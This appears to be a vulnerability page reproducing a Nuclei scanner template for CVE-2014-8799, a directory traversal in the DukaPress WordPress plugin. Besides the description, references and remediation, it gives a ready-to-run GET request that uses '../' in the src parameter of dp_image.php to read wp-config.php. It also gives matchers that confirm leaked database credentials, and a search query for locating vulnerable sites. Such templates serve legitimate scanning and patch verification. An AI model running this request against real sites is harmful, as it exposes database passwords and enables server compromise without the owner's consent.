CVE-2014-8799: WordPress Plugin DukaPress 2.5.2 - Directory Traversal

2025-08-01 WordPress Plugin DukaPress PoC Public

Description

A directory traversal vulnerability in the dp_img_resize function in php/dp-functions.php in the DukaPress plugin before 2.5.4 for WordPress allows remote attackers to read arbitrary files via a .. (dot dot) in the src parameter to lib/dp_image.php.

PoC

id: CVE-2014-8799

info:
  name: WordPress Plugin DukaPress 2.5.2 - Directory Traversal
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the dp_img_resize function in php/dp-functions.php in the DukaPress plugin before 2.5.4 for WordPress allows remote attackers to read arbitrary files via a .. (dot dot) in the src parameter to lib/dp_image.php.
  impact: |
    An attacker can exploit this vulnerability to gain unauthorized access to sensitive files, potentially leading to further compromise of the server.
  remediation: |
    Update to the latest version of DukaPress plugin (2.5.3 or higher) which contains a fix for this vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2014-8799
    - https://www.exploit-db.com/exploits/35346
    - https://wordpress.org/plugins/dukapress/changelog/
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/98943
    - https://plugins.trac.wordpress.org/changeset/1024640/dukapress
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2014-8799
    cwe-id: CWE-22
    epss-score: 0.67631
    epss-percentile: 0.99277
    cpe: cpe:2.3:a:dukapress:dukapress:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: dukapress
    product: dukapress
    framework: wordpress
    google-query: inurl:"/wp-content/plugins/dukapress"
  tags: cve2014,cve,wordpress,wp-plugin,lfi,edb,dukapress,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/dukapress/lib/dp_image.php?src=../../../../wp-config.php"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "DB_NAME"
          - "DB_PASSWORD"
          - "DB_USER"
          - "DB_HOST"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a00463044022073345281e70c18be2677858102b40bccfcde839c8506732897e18679bfac6502022037e1e5fc320a53049cac6dd05600bdd1d18242f5ce30c6c3062fdbf24cd33e67:922c64590222798bb761d5b6d8e72950

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Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2014/CVE-2014-8799.yaml

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